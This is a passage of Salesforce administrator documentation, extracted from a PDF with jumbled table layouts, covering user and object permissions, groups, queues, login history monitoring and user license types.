Use outbound change sets.
upload change sets.

System Administrator

Use Case Feed

Use Case Feed to manage


cases.

View and manage cases in the None


Case Feed user interface.

Use Team Reassignment


Wizards

Mass reassign account team


and opportunity team
members.

Mass reassign account team


and opportunity team
members

View All Data

View all organizational data, View all data owned by other System Administrator
regardless of sharing settings. users

View All Forecasts

In Customizable Forecasts and


the Forecasts product first
released in Winter 12, view
any users forecast, regardless
of the forecast hierarchy.

System Administrator

In Customizable Forecasts and System Administrator


the Forecasts product first
released in Winter 12, view
any users forecast, regardless
of the forecast hierarchy.
This permission is not
available for Forecasts
(Classic). If you migrate to
Customizable Forecasts,
custom profiles that have the
View All Data permission
get the View All Forecasts
permissions.

View Content in Portals

View Salesforce CRM


Content from a portal.

Allows Customer Portal and None


Partner Portal users to view
Salesforce CRM Content

View Data Categories

View the Data Categories


page.

View the Your Name > Setup System Administrator


> Customize > Data
Categories page
This permission only applies
to data categories, not solution
categories

View Encrypted Data

View the value of encrypted


fields in plain text.

View the value of encrypted


fields in plain text

None

584

User Management

Permission Name

User Permissions

Description

Functions Controlled

Profiles

View My Team's Dashboards View dashboards owned by


View dashboards owned by
System Administrator
people under them in the role people under them in the role
hierarchy.
hierarchy
View Setup and Configuration View the App Setup and
View the organization setup
Administrative Settings pages. details on the Setup pages;
Run user reports;
View the setup audit trail;
Check field accessibility for
users

System Administrator
Standard User
Solution Manager
Marketing User
Read Only
Contract Manager

See Also:
Understanding User License Types

Viewing and Editing Object Permissions in Permission Sets and Profiles


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view object permissions:

View Setup and Configuration

To edit object permissions:

Manage Users
AND
Customize Application

Object permissions specify the type of access that users have to objects.
1. Click Your Name > Setup > Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:

Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object and select
it from the list. Click Edit, then scroll to the Object Permissions section.
Original profile user interfaceClick Edit, then scroll to the Standard Object Permissions or Custom Object Permissions
section.

4. Specify the object permissions. For more information, see Object Permissions on page 586.
5. Click Save.

585

User Management

User Permissions

Object Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Standard Objects are not available in Database.com

Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets
and custom profiles. The following permissions specify the access that users have to objects.
Permission

Description

Respects or Overrides
Sharing?

Read

Users can only view records of this type.

Respects sharing

Create

Users can read and create records.

Respects sharing

Edit

Users can read and update records.

Respects sharing

Delete

Users can read, edit, and delete records.

Respects sharing

View All

Users can view all records associated with this object, regardless Overrides sharing
of sharing settings.

Modify All

Users can read, edit, delete, transfer, and approve all records Overrides sharing
associated with this object, regardless of sharing settings.
Note: Modify All on documents allows access to
all shared and public folders, but not the ability to edit
folder properties or create new folders. To edit folder
properties and create new folders, users must have the
Manage Public Documents permission.

Note: If your organization has deployed Salesforce Mobile, you can edit the mobile object properties to prevent mobile
users from creating, editing, and deleting records in the mobile application, regardless of their standard object permissions
in Salesforce.

See Also:
Permission Sets Overview
User Profiles Overview
View All and Modify All Permissions Overview
Comparing Security Models
Overview of Sharing Settings

586

User Management

User Permissions

View All and Modify All Permissions Overview


Available in: All Editions

The View All and Modify All permissions ignore sharing rules and settings, allowing administrators to quickly grant access
to records associated with a given object across the organization. View All and Modify All may be preferable alternatives
to the View All Data and Modify All Data permissions. Be aware of the following distinctions between the permission
types.
Permissions

Used for

Users who Need them

View All

Delegation of object permissions

Delegated administrators who need to manage


records for specific objects

Modify All
View All Data
Modify All Data

Managing all data in an organization; for example, Administrators of an entire organization


data cleansing, deduplication, mass deletion, mass
transferring, and managing record approvals

View All and Modify All are not available for ideas, price books, article types, and products.
View All and Modify All allow for delegation of object permissions only. To delegate user administration and custom
object administration duties, define delegated administrators.

See Also:
Object Permissions

Comparing Security Models


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record
level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record
administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating
workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records.
The Read, Create, Edit, and Delete permissions respect sharing settings, which control access to data at the record
level. The View All and Modify All permissions override sharing settings for specific objects. Additionally, the View All
Data and Modify All Data permissions override sharing settings for all objects.
The following table describes the differences between the security models.

Target audience

Permissions that Respect Sharing

Permissions that Override Sharing

End-users

Delegated data administrators

587

User Management

Where managed

User Permissions

Permissions that Respect Sharing

Permissions that Override Sharing

Read, Create, Edit, and Delete


object permissions;

View All and Modify All

Sharing settings
Record access levels

Private, Read-Only, Read/Write,


Read/Write/Transfer/Full Access

Ability to transfer

Respects sharing settings, which vary by Available on all objects with Modify All
object

Ability to approve records, or edit and None


unlock records in an approval process

View All and Modify All

Available on all objects with Modify All

Ability to report on all records

Available with a sharing rule that states: Available on all objects with View All
the records owned by the public group
Entire Organization are shared with a
specified group, with Read-Only access

Object support

Available on all objects except products, Available on most objects via object
documents, solutions, ideas, notes, and permissions
attachments
Note: View All and Modify
All are not available for ideas,
price books, article types, and
products.

Group access levels determined by

Roles, Roles and Subordinates, Roles and Profile or permission sets


Internal Subordinates, Roles, Internal
and Portal Subordinates, Queues, Teams,
and Public Groups

Private record access

Not available

Ability to manually share records

Available to the record owner and any Available on all objects with Modify All
user above the record owner in the role
hierarchy

Ability to manage all case comments

Not available

Available on private contacts,


opportunities, and notes and attachments
with View All and Modify All

Available with Modify All on cases

See Also:
Overview of User Permissions and Access

588

User Management

About Groups

Field Permissions
Available in: Enterprise, Unlimited, Developer, and Database.com Editions

Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface,
the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Access Level

Enabled Settings in Permission Sets


and Enhanced Profile User Interface

Enabled Settings in Original Profile


and Field-Level Security Interfaces

Users can read and edit the field.

Read and Edit

Visible

Users can read but not edit the field.

Read

Visible and Read-Only

Users can't read or edit the field.

None

None

See Also:
Field-Level Security Overview

About Groups
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Groups are sets of users. They can contain individual users, other groups, the users in a particular role or territory, or the users
in a particular role or territory plus all of the users below that role or territory in the hierarchy.
There are two types of groups:

Public groupsOnly administrators can create public groups. They can be used by everyone in the organization.
Personal groupsEach user can create groups for their personal use.

You can use groups in the following ways:

To set up default sharing access via a sharing rule


To share your records with other users
To specify that you want to synchronize contacts owned by others users
To add multiple users to a Salesforce CRM Content library

589

User Management

About Groups

To assign users to specific actions in Salesforce Knowledge

See Also:
Creating and Editing Groups
Viewing All Users in a Group
Overview of Sharing Settings
Setting Your Organization-Wide Sharing Defaults

Creating and Editing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or edit a public group:

Manage Users

Only administrators can create and edit public groups, but anyone can create and edit a personal group.
To create or edit a group:
1. Click the control that matches the type of group:

For personal groups, click Your Username > Setup > My Personal Information > My Groups.
For public groups, click Your Username > Setup > Manage Users > Public Groups.

2. Click New, or click Edit next to the group you want to edit.
3. Enter the following:
Field

Description

Label

The name used to refer to the group in any user interface pages.

Group Name (public groups only)

The unique name used by the API and managed packages. The name
must begin with a letter and use only alphanumeric characters and
underscores. The name cannot end with an underscore or have two
consecutive underscores.

Grant Access Using Hierarchies (public Select Grant Access Using Hierarchies to allow automatic access to

groups only)

records using your role or territory hierarchies. When selected, any


records shared with users in this group are also shared with users higher
in the hierarchy.
Note: If Grant Access Using Hierarchies is deselected, users
that are higher in the role or territory hierarchy don't receive
automatic access. However, some userssuch as those with the
View All and Modify All object permissions and the View

590

User Management

About Groups

All Data and Modify All Data system permissionscan still


access records they don't own.
Search

From the Search drop-down list, select the type of member to add. If
you don't see the member you want to add, enter keywords in the search
box and click Find.
Note: For account owners to see child records owned by
high-volume portal users, they must be members of any portal
share groups with access to the portal users' data.

Selected Members

Select members from the Available Members box, and click Add to add
them to the group.

4. Click Save.
Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove
access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules
won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Group Member Types
Recalculating Sharing Rules
About Groups
About Customer Portal User Management
Working with Partner Users

Group Member Types


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
The member types that are available vary depending on your Edition.

User Permissions Needed


To create or edit a public group:

Manage Users

When you create or edit a group, you can select the following types of members from the Search drop-down list. Depending
on your organization settings, some types may not be available.

591

User Management

About Groups

Member Type

Description

Customer Portal Users

All of your Customer Portal users. This is only available when


a Customer Portal is enabled for your organization.

Partner Users

All of your partner users. This is only available when a partner


portal is enabled for your organization.

Personal Groups

All of your own groups. This is only available when creating


other personal groups.

Portal Roles

All roles defined for your organization's partner portal or


Customer Portal. This includes all users in the specified portal
role, except high-volume portal users.
Note: A portal role name includes the name of the
account that it's associated with, except for person
accounts, which include the user Alias.

Portal Roles and Subordinates

All roles defined for your organization's partner portal or


Customer Portal. This includes all of the users in the specified
portal role plus all of the users below that role in the portal
role hierarchy, except for high-volume portal users.
Note: A portal role name includes the name of the
account that it's associated with, except for person
accounts, which include the user Alias.

Public Groups

All public groups defined by your administrator.

Roles

All roles defined for your organization. Adding a role to a


group includes all of the users in that role, but does not include
portal roles.

Roles and Internal Subordinates

Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
doesn't include portal roles or users.

Roles and Subordinates

Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when no portals are enabled for your
organization.

Roles, Internal and Portal Subordinates

Adding a role and its subordinate roles includes all of the users
in that role plus all of the users in roles below that role. This
is only available when a partner or Customer Portal is enabled
for your organization. This includes portal users.

592

User Management

About Groups

Member Type

Description

Users

All users in your organization. This doesn't include portal


users.

See Also:
About Groups
Creating and Editing Groups

Viewing Group Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To edit a public group:

Manage Users

To view personal or public group lists:


1. Click the control that matches the type of group:

For personal groups, click Your Name > Setup > My Personal Information > My Groups.
For public groups, click Your Name > Setup > Manage Users > Public Groups.

2. Public groups only: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create
New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list
and click Edit.
3. Click the name of a group in the Groups related list to display the group's detail page.

To edit the group membership, click Edit.


To delete the group, click Delete.
To view group members, see the Group Members related list.
To view group members and users who have equivalent access because they are higher in the role or territory hierarchy,
click View All Users to display the All Users in Group related list. Click View Group Members to return to the Group
Members related list.

593

User Management

About Groups

Viewing All Users in a Group


Available in: Professional, Enterprise, Unlimited, Developer and Database.com Editions

The All Users list shows users who belong to the selected personal or public group, queue, or role or territory sharing groupThe
All Users list shows users who belong to the selected public group, queue, or role sharing group. From this page, you can view
detailed user information, edit user information, and access related information.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
Click Edit next to a username to edit the user information.
Click Login next to a username to log in as that user. This link is only available for users who have granted login access
to an administrator, or in organizations where administrators can log in as any user.

See Also:
About Groups
Creating and Editing Groups

Viewing Group or Queue Members Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Territories are not available in Database.com

User Permissions Needed


To view group and queue members:

View Setup and Configuration

The members list page displays a list of groups, roles, territories, and users that are members of the selected group or queue.
From this page, you can view detailed member information and access other related information.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view.
Click a name to view the member details.

See Also:
About Groups
Viewing All Users in a Group

594

User Management

Managing Queues

Managing Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or change queues:

Customize Application
AND
Manage Public List Views

To create or change queues created by other users:

Customize Application
AND
Manage Public List Views and Manage Users

To view and manage queues, click Your Name > Setup > Manage Users > Queues.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
To create a queue, click New.
To edit a queue, click Edit next to the queue name.
To delete a queue, click Del next to the queue name.
To view details about a queue, including the queue's members, click the queue's name.

See Also:
Queues Overview
Viewing and Editing Queues
Creating Queues

595

User Management

Managing Queues

Queues Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Lead queues, case queues, and service contract queues are not available in Database.com

User Permissions Needed


To create or change queues:

Customize Application
AND
Manage Public List Views

To create or change queues created by other users:

Customize Application
AND
Manage Public List Views and Manage Users

Queues help your teams manage leads, cases, service contracts, and custom objects. Once records are placed in a queue manually
or through an automatic case or lead assignment rule, records remain there until they're assigned to a user or taken by one of
the queue members. Any queue member or users above them in the role hierarchy can take ownership of records in a queue.
For example:
Lead queues
Help you manage the distribution of leads. For example, you may have a lead queue for a Western Region team and one
for an Eastern Region team. You can put leads in different queues, either manually or automatically via a lead assignment
rule as leads are imported, created or edited manually, or captured from the Web. Make salespeople members of one or
more lead queues.
Case queues
Help you manage your support workload and differentiate cases based on support levels. With queues, you can ensure
that cases are resolved quickly even if a specific user is on vacation. By creating queues for different support levels, such
as Gold Service and Silver Service, cases are automatically prioritized. You can put cases in different queues, either
manually or automatically via a case assignment rule as cases are generated from the Web or created manually. Make
support agents members of case queues.
Knowledge article version queues
Help you manage the distribution of versions of Salesforce Knowledge articles for translation. For example, if multiple
languages are used for your knowledge base, you can assign new versions of articles to a queue of users who can translate
the article into a specific language.
Service contract queues
Help you manage the distribution of service contracts. For example, you may have a dedicated group of users who review
service contracts. When a service contract is created, assign it to a queue so queue members can review the service contract.

596

User Management

Managing Queues

Custom object queues


Help you manage the distribution of custom object records. When a custom object record is created, manually assign it
to a queue so that the users assigned to the queue can access it and take ownership of it.

See Also:
Creating Queues
Viewing and Editing Queues
Managing Queues

Creating Queues
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or change queues:

Customize Application
AND
Manage Public List Views

To create or change queues created by other users:

Customize Application
AND
Manage Public List Views and Manage Users

1. Click Your Name > Setup > Manage Users > Queues.
2. Click New.
3. Enter the Label and Queue Name. The Label is the queue label as it appears on the user interface. The Queue Name is a
unique name used by the API and managed packages, and can only contain alphanumeric characters and underscores.
4. Choose email notification settings for the queue:
To Notify

You Must

One email address when new records are placed in the queue Add an email address to Queue Email.
You can add an email address for an individual user or an
email distribution list.
All queue members individually when new records are placed Leave Queue Email blank.
in the queue
All queue members and the Queue Email individually
when new records are placed in the queue

Add an email address to Queue Email and check Send


Email to Members.

597

User Management

Managing Queues

5. If your organization uses divisions, select the default division for the queue.
This determines the division for a record when it's assigned to the queue via assignment rules or a manual change of
ownership. Note that cases inherit the division of the contact they're related to, or they're assigned to the default global
division if no contact is specified.
6. Choose the objects available to the queue.
7. Choose queue members.
You can select individual users, roles, public groups, territories, connections, or partner users. Only queue members and
users above them in the role hierarchy can take ownership of records in the queue, depending on your organization's sharing
settings.
8. Click Save.
Tips on Creating Queues

When you create a queue, Salesforce automatically creates a corresponding list view. Users can access the queue list view
from the Cases, Leads, Service Contracts or custom object tabs. Only queue members and users above them in the role
hierarchy have access to the queue list view, depending on your sharing settings.
After you have defined a queue, you can set up lead or case assignment rules to automatically reassign ownership of leads
and cases to the queue.
After you have defined a queue for a custom object, you can set up a workflow rule that automatically reassigns ownership
of custom object records to the queue via a field update on the record owner field.

See Also:
Queues Overview
Viewing and Editing Queues
Managing Queues

Viewing and Editing Queues


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To create or change queues:

Customize Application
AND
Manage Public List Views

To create or change queues created by other users:

Customize Application
AND
Manage Public List Views and Manage Users

To view or edit a queue:

598

User Management

Monitoring User Events

1. Click Your Name > Setup > Manage Users > Queues and select the queue name.
2. Click:

Edit to make changes to the queue.


Delete to remove the queue.
You can't delete a queue if it's in an assignment rule or has records in it.

View All Users to view the queue's members plus any users who have the same access as queue members because they're
higher in your organization's role hierarchy. Users that gain access to data due to their position in hierarchies do so
based on a setting in your organization-wide defaults.
You can click View Queue Members to return to the Queue Members related list.

3. If you edited the queue, click Save.

See Also:
Queues Overview
Creating Queues
Managing Queues

Monitoring User Events


Available in: All Editions

User Permissions Needed


To monitor logins and view training history:

Manage Users

You can monitor user logins and trainings to determine who is using the application and how often and which users have
taken training classes from salesforce.com.
If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.

See Also:
Monitoring Login History
Monitoring Training History
Viewing Single Sign-On Login Errors

599

User Management

Monitoring User Events

Monitoring Login History


Available in: All Editions

User Permissions Needed


To monitor logins:

Manage Users

On this page, Administrators can monitor the successful and failed login attempts for their organization and enabled portals.
The columns on this page provide information about each login attempt. The login history page displays the most recent
20,000 entries in the login history database. If you need to see more records, you can download the information to a CSV or
GZIP file.
Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To download the information into a CSV or GZIP file:
1. Click Your Name > Setup > Manage Users > Login History.
2. Click one of the following radio buttons:

Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six months.
This report includes logins through the API.
gzipped Excel csv file: This downloads a CSV file of all user logins to your Salesforce organization for the past six
months. This report includes logins through the API. The file is compressed and this is the preferred option for quickest
download time.

3. Select the file contents. You can choose All Logins, IE6 Logins Only, or Web Site Logins Only.
4. Click Download Now.
Note: Older versions of Microsoft Excel cannot open files with more than 65,536 rows. If you cannot open a large
file in Excel, see the Microsoft Help and Support article about handling large files.
You can create new list views sorted by Login Time and Login URL. For example, you could create a view of all logins between
a particular time range. Like the default view, a custom view filters the most recent 20,000 rows in the login history database.
To create a new view, click Create New View from the page. Fill in the following:
1. Enter View Name
Enter the name to appear in the View drop-down list.
2. Specify Filter Criteria.
You can filter by Login Time and Login URL.
3. Select Fields to Display
The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can
display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters
are displayed in the list view.
To see the last ten successful and failed logins for a specific user, navigate to Your Name > Setup > Manage Users > Users,
click on the Full Name for the user, and scroll to the Login History section.

600

User Management

Monitoring User Events

Personal Edition
To view your personal login history:
1. Click Your Name > Setup > My Personal Information > Personal Information.
2. Scroll down to the Login History related list to view your last ten logins.
3. To download a CSV file of your login history for the past six months, click the Download... link.
Note: For security purposes, Salesforce may require users to pass a user verification test to export data from their
organization. This simple text-entry test prevents malicious programs from accessing your organization's data. To pass
the test, users must correctly type the two words displayed on the overlay into the overlay's text box field. Note that
the words entered into the text box field must be separated by a space.
Salesforce uses CAPTCHA technology provided by reCaptcha to verify that a person, as opposed to an automated
program, has correctly entered the text into the overlay. CAPTCHA is an acronym that stands for Completely
Automated Public Turing Test To Tell Computers and Humans Apart.
Single Sign-On with SAML
If your organization has set up single sign-on using identity provider certificates (written in SAML), you may see login history
messages specific to single sign-on.
My Domain
If you are using My Domain, you can identify which users are logging in with the new login URL, and when. Click Your
Name > Setup > Manage Users > Login History and look at the Username and Login URL columns.

Monitoring Training History


Available in: Group, Professional, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


To view training history:

Manage Users

As an administrator, it is important to know that your team is learning how to use Salesforce effectively. The Training Class
History shows you all of the Salesforce training classes your users have taken.
Administrators can view the Training Class History by choosing Your Name > Setup > Manage Users > Training History.
After taking a live training class, users must submit the online training feedback form to have their training attendance recorded
in the training history.

601

User Management

Understanding User License Types

Viewing Single Sign-On Login Errors


User Permissions Needed
To view Single Sign-On login errors:

Modify All Data

If your organization is enabled for Single Sign-On using delegated authentication and has built a Single Sign-On solution,
you can view the most recent Single Sign-On login errors for your organization.
1. Click Your Name > Setup > Manage Users > Delegated Authentication Error History.
2. For the twenty-one most recent login errors, you can view the user's username, login time, and the error.
Note: Contact salesforce.com to learn more about enabling Single Sign-On for your organization.

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

Understanding User License Types


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view user license types:

View Setup and Configuration

You may have more than one type of user license in your organization. A user license entitles a user to different functionality
within Salesforce and determines which profiles and permission sets are available to the user.
To view a list of the active user licenses in your company, click Your Name > Setup > Company Profile > Company
Information. This page lists the following for each type of user license:

Status indicates the status of the license.


Total Licenses indicates the number of licenses for which your company is billed and that are available to you.
Used Licenses is the number of licenses that you have assigned to users.
Remaining Licenses is the number of unused licenses.

If Checkout is enabled for your organization, you can click Buy More Licenses to go to Checkout to buy additional user
licenses.

602

User Management

Understanding User License Types

In addition to license types, the following portal login information is listed for organizations that have Customer Portals or
partner portals enabled:

Monthly Logins Allotted shows the maximum number of customer or partner portal logins allowed per month.
Monthly Logins Used indicates the number of successful logins for all users associated with a customer or partner

portal user license for the month.


Note: You may see other types of licenses listed on this page if your organization has purchased custom user licenses
for different types of functionality. Your organization may also have other licenses that are still supported, but are no
longer available. Contact salesforce.com for more information.
These lists describe the functionality a user is entitled to for each type of standard user license.

Salesforce License Types


Salesforce

Designed for users who require full access to standard CRM and Force.com AppExchange apps. Users
with this user license are entitled to access any standard or custom app.
Each license provides additional storage for Enterprise and Unlimited Edition users. For more information,
see Monitoring Resources on page 752.

Salesforce
Platform

Designed for users who need access to custom apps but not to standard CRM functionality. Users with
this user license are entitled to use custom apps developed in your organization or installed from Force.com
AppExchange. In addition, they are entitled to use core platform functionality such as accounts, contacts,
reports, dashboards, documents, and custom tabs. However, these users are not entitled to some user
permissions and standard apps, including standard tabs and objects such as forecasts and opportunities.
Users with this license can also use Connect Offline.
Note: Users with this license can only view dashboards if the running user also has the same license.

For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only
app listed in the Force.com app menu.
Users with a Salesforce Platform user license can access all the custom apps in your organization. For a list
of the total number of custom apps available in each Edition, see Salesforce Editions and Limits on page
2076.
Each license provides additional storage for Enterprise and Unlimited Edition users. For more information,
see Monitoring Resources on page 752.
Force.com One App

Designed for users who need access to one custom app but not to standard CRM functionality. Force.com
- One App users are entitled to the same rights as Salesforce Platform users, plus they have access to an
unlimited number of custom tabs. However, they are limited to the use of one custom app, which is defined
as up to 10 custom objects, and they are limited to read-only access to the Accounts and Contacts objects.
Note: Users with this license can only view dashboards if the running user also has the same license.

Each license provides an additional 1 MB of data storage and 1 MB of file storage, regardless of the
Salesforce Edition.
Knowledge
Only User

Designed for users who only need access to the Salesforce Knowledge app. This license provides access to
the following tabs: Articles, Article Management, Home, Reports, and custom tabs. The Knowledge Only

603

User Management

Understanding User License Types

User license includes a Knowledge Only profile that grants access to the Articles tab. To view and use the
Article Management tab, a user must have the Manage Articles permission. For more information, see
Setting Up Salesforce Knowledge on page 1467.
Chatter Free Designed for Unlimited, Enterprise, and Professional Edition users that don't have Salesforce licenses but

need access to Chatter. These users can access standard Chatter people, profiles, groups, and files. They
can't access any Salesforce objects or data.
Note: You can upgrade a Chatter Free license to a standard Salesforce license at any time, however,
you can't convert a standard Salesforce or Chatter Only license to a Chatter Free license.

Chatter
External

Designed to allow customers in Chatter groups. Customers are users outside of your company's email
domains. They have very limited Chatter access and can only see groups they're invited to and interact
with members of those groups.

Chatter Only Also known as Chatter Plus. Designed for Unlimited, Enterprise, and Professional Edition users that dont

have Salesforce licenses but need access to some Salesforce objects in addition to Chatter. These users can
access standard Chatter people, profiles, groups, and files, plus they can:
View Salesforce accounts and contacts
Use Salesforce CRM Content, Salesforce CRM Ideas, and Answers
Modify up to ten custom objects
Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user
profile can access, as they are hidden by default for these users.
Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your
sales representative for more information.

Sites and Site.com License Types


Guest User

Designed for public users who access your Site.com or Force.com sites. Site visitors have access to any
information made available in an active public site. For each Guest User license, you can develop one site
for your organization.
For Site.com, Developer, Enterprise, and Unlimited Editions each come with unlimited Guest User
licenses.
For Force.com sites, Enterprise and Unlimited Editions each come with 25 Guest User licenses. Developer
Edition comes with one Guest User license. See Force.com Sites Limits and Billing on page 1619.
Note:

Site.com
Only

You can't purchase additional Guest User licenses for Force.com sites.
The Authenticated Website high-volume portal user license is specifically designed to be used
with Force.com sites. Because it's designed for high volumes, it should be a cost-effective option
to use with Force.com sites.

Designed for Unlimited and Enterprise Edition users who need access to Site.com but not to standard
CRM functionality. Site.com Only users are entitled to the same rights as Force.com - One App users,
plus they have access to the Content app. However, they don't have access to the Accounts and Contacts
objects. Users have access to an unlimited number of custom tabs, but are limited to the use of one custom
app, which is defined as up to 20 custom objects.

604

User Management

Understanding User License Types

Each Site.com Only user also needs either a Site.com Contributor or Site.com Publisher feature license
to access Site.com. See Setting Up Site.com Users on page 2259.

Service Cloud Portal User Licenses


High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many
thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates
performance issues associated with role hierarchy calculations.
Service Cloud Portal users have the High Volume Customer Portal license. This license gives contacts unlimited logins to
your Service Cloud Portal to access customer support information. Users with this license can access accounts, assets, cases,
contacts, custom objects, documents, ideas, and questions, depending on their permission settings.
You can associate high-volume portal users with a High Volume Customer Portal or Authenticated Website profile, or a
profile cloned and customized from one of these.
High-volume portal users don't have roles and aren't included in the role hierarchy. They can access records if any of the
following conditions are met:

They have Update access on the Account that they belong to.
They own the record.
They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent.
The organization-wide sharing setting for the object is Public Read Only or Public Read/Write.
The record is the account or contact under which they are enabled.

You can use sharing sets to give high-volume portal users access to specific resources. See Granting High-Volume Portal Users
(Service Cloud Portal Users) Access to Records.
You can't include high-volume portal users in:

Personal groups or public groups.


Sharing rules.
Account teams, sales teams, or case teams.
Salesforce CRM Content libraries.

The Overage High Volume Customer Portal license is the same as the High Volume Customer Portal license, except that
users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses you
can activate.
This table lists the permissions that can be assigned to Service Cloud portal users.
Create

Read

Update

Delete

Accounts
Assets
Cases
Contacts
Custom Objects
Documents
Ideas

605

User Management

Understanding User License Types

Create

Read

Update

Delete

Price Books
Products
Questions

Customer Portal User Licenses


Users of a Customer Portal site have the Customer Portal Manager Standard license. Allows contacts to log into your Customer
Portal to manage customer support. You can associate users who have a Customer Portal Manager Standard license with the
Customer Portal User profile or a profile cloned and customized from the Customer Portal User profile. This lets them view
and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy.
These users can also view and edit cases where they are listed in the Contact Name field.
Users with the Customer Portal Manager Standard license can:

View contacts, price books and products.


View and edit accounts and cases.
Create and edit assets.
Create, view, edit and delete custom objects.
Access custom objects depending on their permissions.
Receive the Portal Super User permission.
Access Salesforce CRM Content if they have a Salesforce CRM Content feature license or the appropriate permissions.

The Overage Customer Portal Manager Standard license is the same as the Customer Portal Manager Standard license, except
that users are limited to one login per month.
Note: This license is not available for new customers.

This table lists the permissions that can be given to Customer Portal users.
Create

Read

Update

Delete

Accounts
Assets
Cases
Contacts
Custom Objects
Price Books
Products

Customer Portal Enterprise Administration User Licenses


Customer Portal Enterprise Administration users have the Customer Portal Manager Custom license. This license gives
contacts unlimited logins to your Salesforce Customer Portal to manage customer support. You can associate users who have
a Customer Portal Manager Custom license with the Customer Portal User profile or a profile cloned and customized from

606

User Management

Understanding User License Types

the Customer Portal User profile, which lets them view and edit data they directly own and view, create, and edit cases where
they're listed in the Contact Name field.
Users with this license can:

Create, read or update accounts, assets and cases.


View contacts.
View custom objects and run reports depending on their permissions.
Receive the Portal Super User and Delegated Portal User Administrator permissions.
Access Salesforce CRM Content if they have a Salesforce CRM Content feature license or the appropriate permissions.

The Overage Customer Portal Manager Custom license is the same as the Customer Portal Manager Custom license, except
that users do not have unlimited logins. Contact salesforce.com for information about the number of Customer Portal licenses
you can activate.
This table lists the permissions that can be given to Customer Portal Enterprise Administration users.
Create

Read

Update

Delete

Accounts
Assets
Cases
Contacts
Price Books
Products

Platform Portal User Licenses


Platform portal users have the Authenticated Website license, which is designed to be used with Force.com Sites. It gives
named sites users unlimited logins to your Platform Portal to access customer support information.
Users with this license have read-only access to accounts, assets, documents, ideas and questions, and full access to custom
objects.
The Overage Authenticated Website license is the same as the Authenticated Website license, except that users do not have
unlimited logins.
This table lists the permissions that can be given to Platform portal users.
Create

Read

Update

Delete

Accounts
Assets
Contacts
Custom Objects
Documents
Ideas

607

User Management

Understanding User License Types

Create

Read

Update

Delete

Questions

Partner Portal User Licenses


Partner Portal users have the Gold Partner user license. They can only access Salesforce using the partner portal.
Users with a Gold Partner license can access the Documents tab, My Account Profile, Leads, Custom Objects, Approvals,
Accounts, Cases, and Opportunities, and have 5 MB of data storage space. Access to Salesforce CRM Content is determined
by feature license and user permissions.
This table lists the permissions that can be given to Partner Portal users.
Create

Read

Update

Delete

Accounts
Approvals
Assets
Cases
Contacts
Custom Objects
Documents
Leads
Opportunities
Price Books
Products

Database.com License Types


User License

Description

Default Number of
Available Licenses

Database.com Admin

Designed for users who need to administer Database.com, Database.com


or make changes to Database.com schemas or other metadata Edition: 3
using the point-and-click tools in the Database.com Console.

Database.com User

Designed for users who need API access to data stored in


Database.com.

Database.com
Edition: 3
Enterprise Edition
and Unlimited
Edition: 0
Contact
salesforce.com to
obtain

608

User Management

User License

Viewing Feature Licenses

Description

Default Number of
Available Licenses
Database.com User
Licenses

Database.com Light User

Designed for users who need only API access to data, need Database.com
to belong to Chatter groups (but no other groups), and don't Edition: 0
need to belong to roles or queues. Access to data is determined
Enterprise Edition
by organization-wide sharing defaults.
and Unlimited
Edition: 0
Contact
salesforce.com to
obtain
Database.com Light
